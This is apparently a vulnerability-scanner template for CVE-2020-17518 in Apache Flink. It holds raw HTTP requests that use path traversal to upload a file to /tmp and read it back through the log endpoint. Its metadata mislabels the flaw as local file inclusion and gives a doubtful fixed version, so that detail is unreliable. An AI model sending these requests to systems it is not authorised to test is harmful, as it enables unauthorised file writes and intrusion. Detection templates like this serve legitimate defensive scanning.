53 lines
2.4 KiB
YAML
53 lines
2.4 KiB
YAML
id: CVE-2020-17518
|
|
|
|
info:
|
|
name: Apache Flink 1.5.1 - Local File Inclusion
|
|
author: pdteam
|
|
severity: high
|
|
description: |
|
|
Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
|
|
impact: |
|
|
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
|
|
remediation: |
|
|
Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
|
|
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
|
|
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
|
|
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2020-17518
|
|
cwe-id: CWE-22,CWE-23
|
|
epss-score: 0.86056
|
|
epss-percentile: 0.98301
|
|
cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: flink
|
|
tags: cve2020,cve,lfi,flink,fileupload,vulhub,apache,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /jars/upload HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
|
|
|
|
------WebKitFormBoundaryoZ8meKnrrso89R6Y
|
|
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
|
|
|
|
{{randstr}}
|
|
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
|
|
- |
|
|
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_2, "{{randstr}}") && status_code == 200'
|
|
# digest: 490a0046304402205570104598ee83206abdcb1418c3b615a3cbc4e3408dbf1e52c88c9ae2814b52022050e866d7f1f34ac958e583294080c2e7b8f99d49f90eddb2c4d855b851709e2d:922c64590222798bb761d5b6d8e72950 |